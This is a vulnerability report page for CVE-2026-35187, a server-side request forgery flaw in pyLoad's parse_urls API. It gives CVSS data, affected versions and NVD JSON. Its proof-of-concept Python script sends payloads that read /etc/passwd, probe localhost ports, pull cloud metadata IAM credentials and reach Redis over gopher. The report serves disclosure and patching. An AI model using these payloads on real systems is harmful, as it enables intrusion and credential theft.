Security Vulnerability Report
中文
CVE-2026-35187 CVSS 7.7 HIGH

CVE-2026-35187

Published: 2026-04-06 20:16:27
Last Modified: 2026-04-20 17:05:59

Description

pyLoad is a free and open-source download manager written in Python. In 0.5.0b3.dev96 and earlier, the parse_urls API function in src/pyload/core/api/__init__.py fetches arbitrary URLs server-side via get_url(url) (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints, read local files via file:// protocol (pycurl reads the file server-side), interact with internal services via gopher:// and dict:// protocols, and enumerate file existence via error-based oracle (error 37 vs empty response).

CVSS Details

CVSS Score
7.7
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:pyload-ng_project:pyload-ng:*:*:*:*:*:python:*:* - VULNERABLE
pyLoad <= 0.5.0b3.dev96

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL TARGET_URL = "http://target-pyload-server:8000/api/parse_urls" # Attacker credentials (requires ADD permission) SESSION_COOKIE = "session=attacker_session_id" # Headers headers = { "Cookie": SESSION_COOKIE, "Content-Type": "application/json" } # Payloads demonstrating different attack vectors payloads = [ # 1. Local File Inclusion (LFI) "file:///etc/passwd", # 2. Internal Network Scanning / SSRF "http://127.0.0.1:22", # 3. Cloud Metadata Access "http://169.254.169.254/latest/meta-data/iam/security-credentials/", # 4. Gopher protocol interaction "gopher://127.0.0.1:6379/_INFO" ] for payload in payloads: print(f"[*] Testing payload: {payload}") data = {"urls": payload} try: response = requests.post(TARGET_URL, json=data, headers=headers, timeout=5) if response.status_code == 200: print(f"[+] Success! Response: {response.text[:200]}") else: print(f"[-] Failed with status: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35187", "sourceIdentifier": "[email protected]", "published": "2026-04-06T20:16:27.207", "lastModified": "2026-04-20T17:05:58.587", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "pyLoad is a free and open-source download manager written in Python. In 0.5.0b3.dev96 and earlier, the parse_urls API function in src/pyload/core/api/__init__.py fetches arbitrary URLs server-side via get_url(url) (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints, read local files via file:// protocol (pycurl reads the file server-side), interact with internal services via gopher:// and dict:// protocols, and enumerate file existence via error-based oracle (error 37 vs empty response)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pyload-ng_project:pyload-ng:*:*:*:*:*:python:*:*", "versionEndExcluding": "0.5.0b3.dev97", "matchCriteriaId": "49DB5560-08BC-47E1-ADC3-729D9746159F"}]}]}], "references": [{"url": "https://github.com/pyload/pyload/commit/4032e57d61d8f864e39f4dcfdb567527a50a9e1f", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pyload/pyload/security/advisories/GHSA-2wvg-62qm-gj33", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/pyload/pyload/security/advisories/GHSA-2wvg-62qm-gj33", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}